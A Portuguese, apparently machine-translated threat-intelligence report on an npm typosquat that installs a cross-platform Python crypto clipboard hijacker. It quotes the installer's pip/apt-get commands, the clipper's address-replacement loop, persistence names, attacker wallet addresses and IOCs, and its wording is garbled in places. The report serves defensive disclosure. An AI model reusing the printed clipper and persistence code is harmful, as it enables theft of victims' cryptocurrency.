RuntimeBroker npm Typosquat Plants Crypto Clipper

RuntimeBroker: um Typosquat do npm instala um Crypto-Clipper de 40 cadeias como um "Auxiliar de Tempo de Execução do Sistema" multiplataforma.

TL, DR

Em 21/05/2026, o editor do npm jaggle lançou nove versões (1.0.0 através de 1.0.8) do @jaggle/resizeobserves em um período de aproximadamente duas horas.

A embalagem é uma cópia descarada da embalagem legítima. @juggle/resize-observer polyfill — um pacote amplamente utilizado com milhões de downloads semanais — mas não inclui nenhuma implementação real de ResizeObserver.

Em vez disso, o pacote gancho de pós-instalação Instala um pacote de código Python, registra a persistência como um agente de tempo de execução com aparência nativa da plataforma e implanta um sequestrador de área de transferência multiplataforma direcionado a transações de criptomoedas.

Linux A persistência aparece como python3-dbus-helper, MacOS as com.apple.python.runtime e Windows as PyRuntimeBroker.

O payload monitora continuamente a área de transferência em busca de endereços de carteira em todo o sistema. mais de 40 blockchains e substitui silenciosamente os endereços copiados por carteiras controladas pelo atacante.

O malware opera inteiramente em nível local, sem infraestrutura de comando e controle (C2) externa, fazendo com que a própria substituição da área de transferência seja o mecanismo de exfiltração.

O principal indicador de comprometimento (IOC) é o próprio nome do pacote: @jaggle/resizeobserves — observe a vogal omitida em “jaggle” e o “s” adicionado em “resizeobserves”.

Gravidade: alta.

O Ataque: Como Funciona

npm:@jaggle/resizeobserves À primeira vista, não parece ser malware. vista npm. Sua README.md é o README na íntegra de npm:@juggle/resize-observer — mesmos exemplos de código, mesmas instruções de uso, mesmas import { ResizeObserver } from '@juggle/resize-observer' O texto está repleto de referências. O plágio é tão completo que qualquer pessoa que desse uma olhada na documentação presumiria estar lendo a documentação legítima do pacote.

O package.json, em contraste, é escasso: nenhum repositório campo, um único caixa entrada apontando para bin/clipboard-guardian.jse um pós-instalação script que executa node npm-install.jsOs exemplos de "Uso básico" no arquivo README fazem referência a uma implementação em JavaScript que não existe em nenhum lugar no arquivo tar. O único JavaScript presente no pacote é o script de instalação.

Etapa 1 — o comando `npm postinstall` inicializa um pacote Python.

npm-install.js É compatível com a plataforma. Ele localiza um pip executável ao longo de um caminho de pesquisa fixo (/usr/bin/pip3, /usr/local/bin/pip, caindo de volta para python3 -m pip), instala o pacote Python incluído a partir do diretório tarball e — no Linux — baixa o xclip or xsell via apt-get, pacman, ou DNF Se nenhuma das duas já estiver presente:

javascript if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) {   run("apt-get install -y xclip 2>/dev/null") ||   run("pacman -S --noconfirm xclip 2>/dev/null") ||   run("dnf install -y xclip 2>/dev/null"); }  if (   !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) &&   !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`) ) process.exit(1); 

O uso de –quebrar pacotes-do-sistema Isso é intencional: as distribuições Linux modernas incluem o Python com o marcador de ambiente gerenciado externamente (externally-managed-environment) da PEP 668 ativado, o que bloqueia instalações via pip em todo o site por padrão. O script de instalação força a instalação.

O script também é compatível com sudo. Quando o uid em execução é o resultado de um sudo npm install, diz o roteiro SUDO_USER e desembolsa para getentpasswd para encontrar o tua escola diretório inicial do usuário, e então grava seus arquivos de persistência lá em vez de no / RootA persistência é por usuário, não para todo o sistema.

Etapa 2 — Persistência entre sistemas operacionais sob nomes de corretor de tempo de execução

Após a instalação do pacote Python, o script registra uma entrada de inicialização automática com um nome diferente em cada sistema operacional:

  • Linux — uma unidade de usuário sistematizada em ~/.config/systemd/user/python3-dbus-helper.serviceA unidade Descrição is Auxiliar de tempo de execução D-Bus do PythonO script também tenta habilitá-lo através de systemctl –user enable, recorrendo a um link simbólico manual em alvo padrão/ quando o systemctl falha. Se estiver sendo executado com sudo, o script muda para sudo -u systemctl –usuário, com XDG_RUNTIME_DIR Configure para que a chamada do barramento de usuário funcione.
  • MacOS — um arquivo plist do LaunchAgent em ~/Library/LaunchAgents/com.apple.python.runtime.plist com as ExecutarAoCarregar=verdadeiro e ManterAtivo=verdadeiro, e então carregado via launchctl carregar.
  • Windows — uma tarefa agendada chamada PyRuntimeBroker, acionada no momento do Conecte-se (AtLogOn), com um limite de tempo de execução de zero (ou seja, sem tempo limite), registrada via PowerShell.

À primeira vista, os três nomes parecem credíveis. python3-dbus-helper Segue a convenção de nomenclatura da integração legítima do Python-D-Bus em desktops Linux. com.apple.python.runtime Imita a rotulagem de DNS reverso da Apple para seus próprios serviços. PyRuntimeBroker ecoa o Windows RuntimeBroker.exe — um serviço real e assinado da Microsoft que intermedia solicitações de permissão para aplicativos UWP. Nenhum desses é um serviço real da Apple/Microsoft/Python neste contexto, mas sim um defensor fazendo uma rápida verificação visual de systemctl –user list-units or Get-ScheduledTask É improvável que ele hesite.

Etapa 3 — O sequestrador da prancheta

A carga útil Python, instalada em clipboard_guardian/guardian.py, executa um loop infinito que consulta a área de transferência do sistema a cada 400 milissegundos. A cada ciclo, ele obtém o conteúdo atual da área de transferência através de pyperclip.paste() e as executa em uma lista de mais de quarenta expressões regulares pré-compiladas que abrangem formatos de endereço de carteira para Ethereum, Bitcoin, Monero, Solana, TRON, TON, Ripple, Litecoin, Dogecoin, Polkadot, NEAR, Cosmos, Algorand, Stellar, Cardano, Bitcoin Cash, Dash, Zcash, Aptos, Sui, Tezos, MultiversX, Harmony, Terra, Injective, Osmosis, Kava, Celestia, Nano, Filecoin, Ronin, Ergo, DigiByte, Hedera, BNB Smart Chain e várias outras que estão vazias, mas com espaços reservados na configuração padrão (Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin).

Quando uma correspondência é encontrada, o script lê o endereço do atacante para aquela cadeia de endereços. ~/.config/clipboard-guardian/config.json (ou seus equivalentes na plataforma) e sobrescreve a área de transferência com o texto substituído:

python result = find_address_in_text(current, config) if result is None:     time.sleep(POLL_INTERVAL)     continue  chain, found_addr = result my_addr = config[chain] if found_addr == my_addr:     time.sleep(POLL_INTERVAL)     continue  new_text = replace_address_in_text(current, found_addr, my_addr) clipboard_set(new_text) 

Não há nenhum sinalizador de rede. O clipper não se comunica com servidores externos, não registra hosts infectados e não exfiltra nenhum dado. A exfiltração é a própria substituição: quando um usuário copia o endereço de um destinatário da interface da sua carteira e o cola em uma caixa de diálogo de envio, o endereço colado pertence ao operador. Os fundos são perdidos na própria rede, de forma transparente para o usuário.

O que há de novo aqui?

Alguns detalhes se destacam em comparação com o modelo genérico de criptografia:

1. Transição do npm para o Python. A maioria dos programas de criptografia que vemos no npm são JavaScript puro, frequentemente ofuscados com _0x rotação de matriz ou avaliar(atob(…)) stacks. Este exemplo usa o tarball do npm como nada mais do que um wrapper de entrega para um pacote Python — Python limpo — e deixa o pip lidar com a instalação de dependências (clipe de pipe, psutil, opcional definirproctitle) declarado no pacote pyproject.tomlNão há ofuscação de JavaScript a ser burlada. O próprio clipper é Python puro e legível.

2. Rótulos de persistência Tri-OS escolhidos por sua plausibilidade. Muitos instaladores multiplataforma registram a persistência sob nomes genéricos (serviço de atualização, helper.plistEste exemplo se dá ao trabalho de escolher rótulos que se assemelham a corretores de tempo de execução nativos da plataforma em cada sistema operacional. A nomenclatura é a única tentativa de furtividade — não há rootkit, ocultação de espaço do usuário ou ofuscação de caminho. A aposta é que os defensores raramente auditam. ~/.config/systemd/user/ e que um serviço chamado python3-dbus-helper Não se destacará em uma avaliação superficial.

3. O disfarce do título do processo é real, mas a anti-análise está adormecida. A carga útil do Python define um _processo_de_disfarce() função que define o título do processo através de definirproctitle (Linux/macOS) ou SetConsoleTitleW (Windows) — e a Principal() chama isso de. Então ps aux mostrará python3-dbus-helper em vez de python3 …/guardian.pyNo entanto, o mesmo módulo define um is_monitor_running() função que enumera ferramentas conhecidas de monitoramento de processos (htop, btop, Gerenciador de Tarefas, Monitor de Atividade, Process Hacker, Monitor de Recursos, monitores de sistema GNOME / KDE / Xfce / MATE, e assim por diante) — e a Principal() nunca a chama. O loop de substituição é executado incondicionalmente, independentemente de o usuário ter um monitor de processos aberto ou não. A função é código morto na versão distribuída. É muito provável que seja um resquício de uma iteração anterior ou um arcabouço para um recurso ainda não implementado. De qualquer forma, a superfície anti-análise da carga útil publicada consiste em uma renomeação do título do processo, e não em evasão do monitor ativo.

4. O comportamento de mesclagem de configuração agrupada. npm-install.js grava a lista de carteiras padrão em ~/.config/clipboard-guardian/config.json E, se um arquivo de configuração já existir, mescla quaisquer chaves cujo valor existente esteja vazio. Isso significa que um usuário que foi infectado anteriormente e limpou parcialmente a configuração — digamos, esvaziando o ethereum O valor será repopulado a cada instalação subsequente de pacote malicioso. Não há limpeza do arquivo de persistência em nenhum caminho de código.

Data/Hora (UTC)Evento
2026-05-21 18:50:32@jaggle/resizeobserves@1.0.0 Publicados.
2026-05-21 19:55:551.0.1 Publicado — primeira versão sinalizada por verificação externa.
2026-05-21 19:58:101.0.2 Publicados.
2026-05-21 20:05:031.0.3 Publicados.
2026-05-21 20:09:241.0.4 Publicados.
2026-05-21 20:13:481.0.5 Publicados.
2026-05-21 20:41:521.0.6 Publicados.
2026-05-21 20:43:56 1.0.7 publicado — adiciona um try/catch wrapper em torno da etapa de escrita do wallet-config em npm-install.js.
2026-05-21 20:46:15 1.0.8 publicado — instalador renomeado npm-install.jsnpm-install.cjs (conteúdo idêntico em bytes).
2026-05-22 Veredictos e COIs publicados. Versões ainda estão disponíveis no registro no momento da publicação (em andamento).

Nove versões em uma hora e cinquenta e seis minutos é rápido até para um typosquat. O padrão é consistente com um campanha de publicar e queimar — inundar o registro com um único identificador, deixar a detecção seguir seu curso e passar para um novo identificador assim que uma única versão for removida. As diferenças visíveis ao longo da execução são cosméticas: 1.0.1 adicionou explicitamente /usr/bin/pip3-caminhos no estilo para a lista de pesquisa do pip (compatibilidade com sudo), a versão 1.0.7 envolveu a escrita do wallet-config em um bloco try/catch e a versão 1.0.8 renomeou o instalador de . Js para .cjs mantendo seu conteúdo idêntico em nível de byte. O .cjs Renomear faixas com avisos do npm sobre resolução de módulos ambígua em pacotes sem um explícito "tipo" campo, e pode ser uma tentativa de suprimir ruídos durante a instalação que poderiam chamar a atenção. A carga útil em Python — a única parte que realmente rouba dados — permanece inalterada em todas as nove versões.

Indicadores de compromisso

PACOTES

EcossistemaPacoteversõesStatus
npm@jaggle/resizeobserves1.0.0 através de 1.0.8Publicação online no momento da publicação; solicitação de remoção.

Arquivos e Hashes

CaminhoNotas
clipboard_guardian/guardian.py
(md5 f7935c2c82bc881288611ab6cd634f17)
Idêntico em todas as nove versões publicadas (1.0.0 através de 1.0.8). A carga útil do clipper.
npm-install.js (1.0.0 – 1.0.7)
npm-install.cjs (1.0.8)
Instalador de persistência; mesmo comportamento de ponta a ponta. 1.0.7's .js e 1.0.8's .cjs são idênticos em nível de byte.
~/.config/clipboard-guardian/config.jsonPacote de configuração de persistência e carteira Linux.
~/Library/Application Support/clipboard-guardian/config.jsonPacote de configuração de persistência e carteira para macOS.
%APPDATA%\clipboard-guardian\config.jsonPacote de configuração de persistência e carteira do Windows.
~/.config/systemd/user/python3-dbus-helper.servicePersistência de inicialização automática no Linux.
~/Library/LaunchAgents/com.apple.python.runtime.plistPersistência do LaunchAgent do macOS.
~/Library/Logs/com.apple.python.runtime.logLog de stdout/stderr do macOS para o agente.
Scheduled Task PyRuntimeBrokerTarefa de inicialização automática do Windows (AtLogOn, sem tempo limite).

Indicadores Comportamentais

SignalDescrição
pip install --break-system-packages do npm postinstallForça a instalação do Python em todo o site, ignorando as proteções da PEP 668.
apt-get install -y xclip (ou pacman/dnf)Instala utilitários de área de transferência no Linux durante a instalação de pacotes.
python3-dbus-helper.service unidade de usuário do systemdPersistência registrada sob um nome de auxiliar de tempo de execução que parece plausível.
com.apple.python.runtime Agente de LançamentoRótulo de persistência fora dos caminhos legítimos do sistema Apple.
PyRuntimeBroker Tarefa agendadaPersistência falsa do agente de tempo de execução do Windows sem uma fonte de instalação legítima.
Processo Python intitulado python3-dbus-helper importador pyperclip e psutilIncompatibilidade de comportamento entre o nome do processo exibido e as bibliotecas importadas.
A área de transferência é alterada em aproximadamente 0.4 segundos após a cópia do endereço da carteira.Comportamento característico da substituição de endereços de criptomoedas.

Pacote de carteiras de atacantes (lista de caça a defensores)

A lista de carteiras é enviada com os dados pré-definidos no código. npm-install.js e clipboard_guardian/guardian.pyOs defensores podem usar a lista tanto como uma lista de bloqueio (tratando qualquer transferência para esses endereços a partir de carteiras corporativas como suspeita) quanto como uma chave de busca (tratando a presença de qualquer uma dessas sequências em um arquivo de configuração não autenticado, artefato de compilação ou máquina de desenvolvedor como um indicador de infecção).

Pacote de Carteira Attacker

CadeiaEndereço
Ethereum / BSC0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18
Ronin (EVM)ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18
Bitcoinbc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y
Bitcoin Cash bitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt
Litecoin ltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe
DogecoinDNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy
Dash XtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS
Zcasht1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M
DigiByteDPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH
Monero42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf
SolanaDWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5
TRONTVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2
TONUQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr
Ripple r9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H
Polkadot1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG
NEAR5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364
Cosmoscosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e
Osmoseosmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t
Celestiacelestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5
Injetávelinj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh
Kavakava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux
o Harmonyone19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a
Terraterra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x
AlgorandXSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI
StellarGACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE
Cardanoaddr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f
MultiversoXerd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0
Aptos0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e
Sui0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78
Nanonano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn
Filecoinf1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui
Tezostz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk
Logo9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA
Hedera0.0.10488092

Cadeias com cobertura de regex, mas com slots de carteira vazios na configuração padrão — Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB — não são substituídas ativamente nesta versão, mas são detectadas. Trate-as como escopo de monitoramento, e não como escopo de substituição.

Atribuição e Motivação

A campanha oferece pouca informação para atribuição. Não conseguimos confirmar a identidade do operador. O que podemos registrar:

  • Metadados do editor. A conta npm ondulação lista seu endereço de e-mail como olgascarlet@deltajohnsons.comO domínio deltajohnsons.com Não corresponde a uma identidade corporativa que possamos verificar. A conta npm não apresenta verificação de e-mail nem... SCM Verificação. Não há presença pública associada no GitHub.
  • Campo do repositório. O package.json não carrega nada repositório campo. O legítimo npm:@juggle/resize-observer Aponta para um repositório real do GitHub com milhares de estrelas e problemas ativos. A ausência de um link para o repositório é o indicador visual mais rápido na interface do npm.
  • Plágio no arquivo README. O arquivo README do pacote é o legítimo. @juggle/resize-observer Leia o arquivo README byte a byte, incluindo importar exemplos que fazem referência @juggle/resize-observer o próprio (não o pacote de publicação). O operador nem se deu ao trabalho de reescrever as importações — um sinal comum de que o arquivo readme foi copiado, não adaptado.
  • Sem infraestrutura para servir de apoio. Não há endpoint de C2, nem consulta de DNS, nem endereço IP. O comportamento malicioso está totalmente encapsulado no clipper local, além do pacote de carteira embutido no código. Isso impossibilita a migração baseada em domínio ou ASN. Os defensores que migram entre campanhas devem comparar os hashes das carteiras com qualquer clipper anterior que tenham em seus arquivos; a reutilização de uma carteira em diferentes pacotes é a forma mais fácil de estabelecer vínculos entre campanhas.
  • Escolha do nome. @jaggle/resizeobserves está a um caractere de distância de @juggle e uma inflexão distante do conhecido redimensionar observadorA distância de edição combinada é de dois glifos. Trata-se de uma colisão visual intencional, não de um agachamento genérico.

A motivação, baseada no comportamento da carga útil, é a monetização pura por meio da substituição oportunista da área de transferência. Não há coleta de credenciais, nem identificação do host, nem leitura de variáveis ​​de ambiente. O operador não se importa com quem é a vítima — o que importa é que a próxima transferência da vítima aponte para um dos endereços listados. A cobertura de quarenta cadeias é o modelo de loteria em ação: lance uma ampla rede, na esperança de que uma única pasta de alto valor seja capturada uma vez a cada N instalações.

O operador parece não se preocupar com a remoção. Publicar nove versões em duas horas, sob o mesmo escopo, caracteriza-se por uma estratégia de "publicar e descartar": maximizar o espaço no registro antes que a latência de remoção se agrave e, em seguida, prosseguir. Não observamos @jaggle republicando sob um novo escopo no momento da redação, mas esperaríamos escopos semelhantes (@jaggie, @juggle-, @joggle) para aparecer nos próximos dias se o operador ainda estiver ativo.

Impacto, tendências e o que os defensores devem fazer

 Impacto

Quantificar o impacto em dinheiro real não é possível com o conjunto de dados atual. O clipper não envia telemetria e as carteiras ainda não foram observadas recebendo transferências substitutas até o momento da análise (uma varredura de acompanhamento das blockchains listadas está em nossos planos). O legítimo npm:@juggle/resize-observer A média de downloads semanais chega a sete dígitos — um alvo frequente para typosquats — e o pacote malicioso estava ativo há menos de 24 horas no momento da divulgação, o que limita o número de pessoas expostas, mas não o elimina completamente.

O raio de explosão que vale a pena monitorar não são downloads diretos de @jaggle/resizeobserves — provavelmente são pequenas. São **instalações transitivas**: um desenvolvedor adicionando o pacote a um projeto sandbox, executando npm installe depois esquecendo que o gancho de instalação foi executado. Todas as máquinas que processaram o pós-instalado agora têm um sequestrador de área de transferência por usuário em inicialização automática, independentemente de o projeto ainda estar no disco. Removendo o diretório do pacote de node_modules Não remove a persistência.

Padrões emergentes

Esta campanha exemplifica duas tendências.

npm como um wrapper para entrega de payloads em Python. O pacote tarball do npm é um instalador de 4 linhas; o verdadeiro responsável por isso é o Python, instalado em todo o sistema por pip do diretório agrupado. Isso não é novidade — já vimos pacotes npm deixarem de usar Python antes — mas está se tornando um formato consideravelmente mais comum em campanhas de criptografia. A vantagem para o operador é dupla: bibliotecas de área de transferência em Python (clipe de pipe (entre eles, os primeiros) são mais limpos e multiplataforma do que os equivalentes em JavaScript, e A maioria dos analisadores automatizados do npm dá muito peso a arquivos JavaScript e Python. .py embrulha levemente. A desvantagem é que a área de instalação é muito mais ruidosa — uma nova instalação de pip É difícil de esconder em uma máquina de desenvolvedor que normalmente não... instalação de pip durante npm install.

Nomes nativos da plataforma como a única forma de ocultação. Diversos programas recentes de remoção de dados e roubo de pequenos payloads abandonaram completamente a ofuscação em nível de código em favor de rótulos de persistência com aparência legítima. python3-dbus-helper, com.apple.python.runtime e PyRuntimeBroker São exemplos clássicos — nomes que um defensor ignorará em uma lista de quarenta serviços de usuário. Esta é uma forma barata e duradoura de ocultação: a remoção é feita por pacote, mas os arquivos de persistência sobrevivem à remoção, e um serviço com o nome de um componente de plataforma que parece real não será removido por nada além de uma auditoria explícita.

O que os defensores devem fazer

  • Audite ~/.config/systemd/user/, ~/Library/LaunchAgents/ e Get-ScheduledTask saída Nas máquinas dos desenvolvedores, as entradas listadas nos IOCs permanecem. A remoção do pacote npm deixa essas entradas no local; elas precisam ser removidas manualmente.
  • Transferências em bloco para os endereços de carteira listados nas fronteiras entre tesouraria corporativa e carteira DeFi, onde a lista de permissões de endereços está disponível.
  • Procure por ~/.config/clipboard-guardian/config.json (e plataformas equivalentes) em toda a frota de máquinas de desenvolvimento. A presença do arquivo indica, com alta probabilidade, infecção, independentemente da versão do pacote que o distribuiu.
  • Procure por clipboard_guardian/guardian.py na pasta node_modules/. em snapshots do cache de compilação que podem ser anteriores à remoção. O MD5 do arquivo é estável em todas as versões revisadas.
  • Bloquear arquivo-pin @juggle/resize-observer (o pacote legítimo) para que instalações futuras não possam ser resolvidas para nada diferente devido a um erro de digitação de um único caractere, especialmente em fluxos de trabalho sem arquivo de bloqueio, como npx.
  • Trate qualquer comando `npm postinstall` que invoque `pip install`. tão grave quanto em construção-pipeline política. Não há nenhuma razão legítima para um pacote npm precisar do pip no momento da instalação — as ferramentas do Python distribuem ferramentas do Python.
  • Pesquise dados de monitoramento comparáveis ​​a `process_iter()` para processos chamados `python3-dbus-helper` que importam `pyperclip`. — a incompatibilidade de disfarce (auxiliar D-Bus contendo uma biblioteca da área de transferência) é o indicador comportamental mais claro que temos.
  • Rotacionar endereços de carteira copiados de máquinas infectadas. Um sequestrador de área de transferência compromete a comunicação entre a interface de uma carteira e o destino da ação; endereços copiados durante a infecção podem ser alterados silenciosamente. Qualquer coisa enviada durante o período de infecção deve ser considerada potencialmente mal direcionada.

Conclusão: a persistência sobrevive à remoção. O registro eventualmente será removido. @jaggle/resizeobserves Em todas as nove versões, a unidade systemd, o LaunchAgent e a Tarefa Agendada não se removerão automaticamente.

Referências

sca-tools-software-composição-análise-ferramentas
Priorize, corrija e proteja seus riscos de software
Crie sua conta gratuita.
Nenhum cartão de crédito é necessário.

Proteja seu desenvolvimento e entrega de software

com o Suíte de Produtos da Xygeni